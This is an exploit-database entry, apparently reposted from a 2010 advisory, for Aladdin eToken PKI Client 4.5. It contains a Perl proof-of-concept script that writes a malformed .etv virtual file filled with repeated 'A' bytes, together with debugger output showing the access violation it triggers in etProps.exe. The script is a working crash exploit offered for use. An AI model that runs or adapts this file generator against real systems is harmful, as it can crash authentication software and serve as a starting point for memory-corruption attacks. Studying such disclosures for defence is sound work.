发布 2010-04-11 漏洞条目

Aladdin eToken PKI Client 4.5 – Virtual File Handling Memory Corruption (PoC)

Exploit Source

#!/usr/bin/perl -w

# Title: Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC

# Summary: The eToken PKI Client is the software that enables eToken USB operation and the

# implementation of eToken PKI-based solutions. These solutions include certificate-based

# strong two-factor authentication, encryption and digital signing. With the PKI Client your

# PKI solutions become highly secure, extremely convenient and portable, as you can easily and

# securely generate and store PKI keys on-board eToken smart card-based devices.

# Vendor: Aladdin Knowledge Systems Ltd.

# Product web page: http://www.aladdin.com

# Version tested: 4.5.52

# Tested on Microsoft Windows XP Professional SP3 (EN)

# ===================================================================================

# (154c.a74): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=00000000 ebx=00000000 ecx=00000000 edx=01730002 esi=00000000 edi=0012fc90

# eip=0045d3d3 esp=001282b0 ebp=00128304 iopl=0 nv up ei pl nz na po nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

# *** ERROR: Module load completed but symbols could not be loaded for etProps.exe

# etProps+0x5d3d3:

# 0045d3d3 8b8ea4000000 mov ecx,dword ptr [esi+0A4h] ds:0023:000000a4=????????

# ===================================================================================

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# Zero Science Lab - http://www.zeroscience.mk

# liquidworm gmail com

# 11.04.2010

# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4933.php

$fajl = "Aladdin.etv"; # eToken Virtual file

$djubre = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

open etv, ">./$fajl" || die "\nCan't open $fajl: $!";

print etv $djubre x 100;

print "\n [o] Writing to file...\n";

sleep 1;

close etv;

print "\n [o] File $fajl created.\n";

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